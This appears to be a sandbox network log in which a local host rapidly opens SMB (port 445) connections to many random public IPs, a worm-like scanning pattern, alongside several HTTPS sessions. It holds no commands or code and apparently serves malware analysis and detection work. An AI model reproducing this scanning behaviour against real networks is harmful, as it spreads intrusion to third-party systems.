Jul 21, 2022 04:35:32.595396996 CEST	52046	445	192.168.2.6	155.75.235.92
Jul 21, 2022 04:35:32.705462933 CEST	52048	445	192.168.2.6	47.81.0.74
Jul 21, 2022 04:35:32.712588072 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.712625980 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.712721109 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.715802908 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.715838909 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.735790014 CEST	52050	445	192.168.2.6	166.62.230.216
Jul 21, 2022 04:35:32.751806974 CEST	52052	445	192.168.2.6	37.78.144.76
Jul 21, 2022 04:35:32.798187017 CEST	52053	445	192.168.2.6	57.136.18.51
Jul 21, 2022 04:35:32.800282955 CEST	52054	445	192.168.2.6	149.101.80.147
Jul 21, 2022 04:35:32.800323963 CEST	52055	445	192.168.2.6	145.27.233.243
Jul 21, 2022 04:35:32.803296089 CEST	52058	445	192.168.2.6	145.98.125.154
Jul 21, 2022 04:35:32.803436995 CEST	52060	445	192.168.2.6	102.19.153.173
Jul 21, 2022 04:35:32.803441048 CEST	52059	445	192.168.2.6	121.186.13.146
Jul 21, 2022 04:35:32.803535938 CEST	52061	445	192.168.2.6	161.57.195.35
Jul 21, 2022 04:35:32.803775072 CEST	52064	445	192.168.2.6	144.74.63.171
Jul 21, 2022 04:35:32.819777966 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819807053 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819824934 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819895029 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.819920063 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819936991 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819960117 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.819977999 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.820018053 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.820045948 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.820085049 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.823224068 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.823260069 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.823275089 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.823283911 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.835021019 CEST	52068	445	192.168.2.6	63.216.237.38
Jul 21, 2022 04:35:32.835192919 CEST	52069	445	192.168.2.6	71.199.206.66
Jul 21, 2022 04:35:32.836117983 CEST	52070	445	192.168.2.6	162.242.26.175
Jul 21, 2022 04:35:32.836289883 CEST	52071	445	192.168.2.6	44.218.48.154
Jul 21, 2022 04:35:32.836462021 CEST	52072	445	192.168.2.6	112.37.29.13
Jul 21, 2022 04:35:32.836561918 CEST	52073	445	192.168.2.6	73.88.251.90
Jul 21, 2022 04:35:32.836719036 CEST	52074	445	192.168.2.6	216.202.234.238
Jul 21, 2022 04:35:32.836822987 CEST	52075	445	192.168.2.6	122.242.93.244
Jul 21, 2022 04:35:32.836941957 CEST	52076	445	192.168.2.6	202.166.62.80
Jul 21, 2022 04:35:32.837171078 CEST	52077	445	192.168.2.6	55.156.136.85
Jul 21, 2022 04:35:32.837281942 CEST	52078	445	192.168.2.6	35.199.29.168
Jul 21, 2022 04:35:32.837493896 CEST	52079	445	192.168.2.6	202.92.172.161
Jul 21, 2022 04:35:32.837651968 CEST	52081	445	192.168.2.6	108.156.237.50
Jul 21, 2022 04:35:32.837811947 CEST	52082	445	192.168.2.6	107.80.45.38
Jul 21, 2022 04:35:32.837913036 CEST	52083	445	192.168.2.6	70.77.33.44
Jul 21, 2022 04:35:32.838071108 CEST	52084	445	192.168.2.6	219.164.234.19
Jul 21, 2022 04:35:32.838526964 CEST	52085	445	192.168.2.6	180.12.153.233
Jul 21, 2022 04:35:32.856261015 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.856348991 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.938529968 CEST	52088	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:32.961694002 CEST	445	52088	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:32.961821079 CEST	52088	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:32.962002039 CEST	52088	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:32.984813929 CEST	445	52088	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:32.985002995 CEST	52088	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:33.007618904 CEST	445	52088	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:33.007858038 CEST	52088	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:33.031478882 CEST	445	52088	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:33.051050901 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.051069975 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.053673029 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.053704977 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.053781986 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.054136992 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.054147959 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.055923939 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.055943012 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.094877005 CEST	52091	445	192.168.2.6	207.180.242.17
Jul 21, 2022 04:35:33.115566015 CEST	445	52091	207.180.242.17	192.168.2.6
Jul 21, 2022 04:35:33.125317097 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:33.128843069 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.128937006 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.128966093 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.129008055 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.130713940 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.130749941 CEST	443	52049	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.130772114 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.130825043 CEST	52049	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.147239923 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.147286892 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.147397995 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.154007912 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.154032946 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.297385931 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.297559023 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.318434000 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.318454027 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.321130991 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.321156025 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.467159033 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.467250109 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.467406034 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.467430115 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.467612028 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.467628002 CEST	443	52093	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.467663050 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.467701912 CEST	52093	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.471043110 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.471090078 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.471209049 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.471595049 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.471610069 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.566787958 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.566975117 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.572645903 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.572663069 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.573059082 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.574596882 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.620126963 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.623106003 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.623249054 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.623838902 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.623853922 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.654455900 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.654485941 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.704607010 CEST	52098	445	192.168.2.6	166.233.237.163
Jul 21, 2022 04:35:33.705368996 CEST	52099	445	192.168.2.6	222.172.139.15
Jul 21, 2022 04:35:33.756563902 CEST	52091	445	192.168.2.6	207.180.242.17
Jul 21, 2022 04:35:33.768382072 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.768452883 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.768467903 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.768506050 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.777153015 CEST	445	52091	207.180.242.17	192.168.2.6
Jul 21, 2022 04:35:33.777348995 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.777379990 CEST	443	52096	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.777400017 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.777446032 CEST	52096	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.802840948 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.802891016 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.802990913 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.806879997 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.806931019 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.816942930 CEST	52102	445	192.168.2.6	208.233.46.161
Jul 21, 2022 04:35:33.846862078 CEST	52103	445	192.168.2.6	190.194.76.81
Jul 21, 2022 04:35:33.917574883 CEST	52105	445	192.168.2.6	17.101.51.202
Jul 21, 2022 04:35:33.918509007 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.918719053 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.918926954 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.919037104 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.919063091 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.919202089 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.919220924 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.919370890 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.919450998 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.919568062 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.929769039 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.929802895 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.929816961 CEST	52089	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:33.929824114 CEST	443	52089	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:33.935900927 CEST	52106	445	192.168.2.6	62.55.74.178
Jul 21, 2022 04:35:33.935998917 CEST	52107	445	192.168.2.6	136.111.137.18
Jul 21, 2022 04:35:33.936798096 CEST	52108	445	192.168.2.6	129.108.172.173
Jul 21, 2022 04:35:33.936971903 CEST	52111	445	192.168.2.6	59.221.36.0
Jul 21, 2022 04:35:33.937155008 CEST	52112	445	192.168.2.6	215.19.147.227
Jul 21, 2022 04:35:33.937248945 CEST	52113	445	192.168.2.6	22.79.164.71
Jul 21, 2022 04:35:33.937551975 CEST	52117	445	192.168.2.6	162.146.26.230
Jul 21, 2022 04:35:33.969618082 CEST	52122	445	192.168.2.6	123.10.170.150
Jul 21, 2022 04:35:33.969820023 CEST	52123	445	192.168.2.6	143.77.11.30
Jul 21, 2022 04:35:33.970016003 CEST	52124	445	192.168.2.6	203.76.30.200
Jul 21, 2022 04:35:33.970156908 CEST	52125	445	192.168.2.6	196.158.132.193
Jul 21, 2022 04:35:33.970264912 CEST	52126	445	192.168.2.6	104.6.47.150
Jul 21, 2022 04:35:33.970395088 CEST	52127	445	192.168.2.6	212.70.79.18
Jul 21, 2022 04:35:33.970501900 CEST	52128	445	192.168.2.6	138.48.85.102
Jul 21, 2022 04:35:33.970604897 CEST	52129	445	192.168.2.6	7.49.177.56
Jul 21, 2022 04:35:33.970712900 CEST	52130	445	192.168.2.6	104.216.232.187
Jul 21, 2022 04:35:33.970829010 CEST	52131	445	192.168.2.6	83.69.73.6
Jul 21, 2022 04:35:33.970940113 CEST	52132	445	192.168.2.6	155.218.142.173
Jul 21, 2022 04:35:33.971054077 CEST	52133	445	192.168.2.6	135.35.158.158
Jul 21, 2022 04:35:33.971229076 CEST	52135	445	192.168.2.6	35.167.130.48
Jul 21, 2022 04:35:33.971311092 CEST	52136	445	192.168.2.6	188.217.142.29
Jul 21, 2022 04:35:33.971421003 CEST	52137	445	192.168.2.6	161.3.101.61
Jul 21, 2022 04:35:33.971529961 CEST	52138	445	192.168.2.6	125.167.150.30
Jul 21, 2022 04:35:33.971693039 CEST	52140	445	192.168.2.6	203.79.94.195
Jul 21, 2022 04:35:33.975862026 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:33.976088047 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.982690096 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:33.982703924 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.010433912 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.010448933 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.066668034 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.066703081 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.066839933 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.067357063 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.067368984 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.127959967 CEST	445	52103	190.194.76.81	192.168.2.6
Jul 21, 2022 04:35:34.136344910 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.136445045 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.136491060 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.136595964 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.136639118 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.136652946 CEST	443	52101	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.136671066 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.136709929 CEST	52101	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.139008999 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.139039993 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.139192104 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.139520884 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.139537096 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.157883883 CEST	52143	445	192.168.2.6	207.180.242.18
Jul 21, 2022 04:35:34.181819916 CEST	445	52143	207.180.242.18	192.168.2.6
Jul 21, 2022 04:35:34.285239935 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.285495043 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.286340952 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.286353111 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.288896084 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.288908005 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.386399031 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.386497021 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.386558056 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.386612892 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.388705969 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.388726950 CEST	443	52142	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.388741970 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.388784885 CEST	52142	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.394277096 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.394370079 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.397058010 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.397073030 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.397439003 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.398713112 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.412723064 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.412764072 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.412848949 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.420244932 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.420264006 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.440506935 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.599524975 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.599689960 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.601382971 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.601398945 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.607884884 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.607916117 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.612637997 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612674952 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612704039 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612807035 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.612824917 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612845898 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612874031 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612886906 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.612894058 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.612930059 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.612957001 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.612978935 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.613033056 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.613043070 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.613060951 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.613090992 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.613146067 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.615489960 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.615518093 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.615528107 CEST	52141	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:34.615534067 CEST	443	52141	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:34.750466108 CEST	52103	445	192.168.2.6	190.194.76.81
Jul 21, 2022 04:35:34.750494957 CEST	52143	445	192.168.2.6	207.180.242.18
Jul 21, 2022 04:35:34.773127079 CEST	445	52143	207.180.242.18	192.168.2.6
Jul 21, 2022 04:35:34.776070118 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.776165009 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.776184082 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.776232004 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.776284933 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.776304960 CEST	443	52147	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.776325941 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.776362896 CEST	52147	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.778917074 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.778964043 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.779058933 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.779356003 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.779367924 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.814129114 CEST	52151	445	192.168.2.6	36.39.52.183
Jul 21, 2022 04:35:34.814886093 CEST	52152	445	192.168.2.6	165.170.87.100
Jul 21, 2022 04:35:34.922363043 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.922499895 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.923465014 CEST	52156	445	192.168.2.6	142.227.166.24
Jul 21, 2022 04:35:34.924488068 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.924504042 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.926873922 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:34.926891088 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:34.996889114 CEST	52157	445	192.168.2.6	92.123.8.102
Jul 21, 2022 04:35:34.998446941 CEST	52159	445	192.168.2.6	117.154.53.15
Jul 21, 2022 04:35:35.013708115 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.013783932 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.013802052 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.013838053 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.013912916 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.013931990 CEST	443	52150	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.013963938 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.013979912 CEST	52150	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.023642063 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.023694038 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.023791075 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.028414011 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.028449059 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.029875994 CEST	445	52103	190.194.76.81	192.168.2.6
Jul 21, 2022 04:35:35.032948971 CEST	52161	445	192.168.2.6	19.186.54.31
Jul 21, 2022 04:35:35.033816099 CEST	52162	445	192.168.2.6	147.23.97.215
Jul 21, 2022 04:35:35.066034079 CEST	52166	445	192.168.2.6	7.136.207.70
Jul 21, 2022 04:35:35.068341017 CEST	52169	445	192.168.2.6	188.253.219.189
Jul 21, 2022 04:35:35.069011927 CEST	52170	445	192.168.2.6	98.3.120.2
Jul 21, 2022 04:35:35.069684982 CEST	52171	445	192.168.2.6	98.37.45.238
Jul 21, 2022 04:35:35.070379019 CEST	52172	445	192.168.2.6	5.177.88.38
Jul 21, 2022 04:35:35.072325945 CEST	52175	445	192.168.2.6	72.126.135.6
Jul 21, 2022 04:35:35.123393059 CEST	52177	445	192.168.2.6	167.172.230.107
Jul 21, 2022 04:35:35.123431921 CEST	52178	445	192.168.2.6	135.173.138.41
Jul 21, 2022 04:35:35.125428915 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:35.129316092 CEST	52179	445	192.168.2.6	48.185.207.31
Jul 21, 2022 04:35:35.129446030 CEST	52180	445	192.168.2.6	4.217.195.133
Jul 21, 2022 04:35:35.129502058 CEST	52181	445	192.168.2.6	86.241.239.75
Jul 21, 2022 04:35:35.129678011 CEST	52183	445	192.168.2.6	174.97.65.98
Jul 21, 2022 04:35:35.129679918 CEST	52182	445	192.168.2.6	87.37.97.219
Jul 21, 2022 04:35:35.129791021 CEST	52184	445	192.168.2.6	28.71.105.16
Jul 21, 2022 04:35:35.129810095 CEST	52185	445	192.168.2.6	98.132.63.166
Jul 21, 2022 04:35:35.129926920 CEST	52186	445	192.168.2.6	193.66.121.222
Jul 21, 2022 04:35:35.129964113 CEST	52187	445	192.168.2.6	42.38.116.161
Jul 21, 2022 04:35:35.130027056 CEST	52188	445	192.168.2.6	19.118.44.14
Jul 21, 2022 04:35:35.130119085 CEST	52190	445	192.168.2.6	130.35.80.111
Jul 21, 2022 04:35:35.130207062 CEST	52191	445	192.168.2.6	223.47.219.158
Jul 21, 2022 04:35:35.130245924 CEST	52192	445	192.168.2.6	116.20.112.171
Jul 21, 2022 04:35:35.130322933 CEST	52193	445	192.168.2.6	63.116.136.49
Jul 21, 2022 04:35:35.130409956 CEST	52194	445	192.168.2.6	88.240.227.147
Jul 21, 2022 04:35:35.178025961 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.178160906 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.178736925 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.178752899 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.181669950 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.181687117 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.235637903 CEST	52196	445	192.168.2.6	207.180.242.19
Jul 21, 2022 04:35:35.235812902 CEST	445	52177	167.172.230.107	192.168.2.6
Jul 21, 2022 04:35:35.236591101 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.236670971 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.236674070 CEST	52160	443	192.168.2.6	20.238.103.94
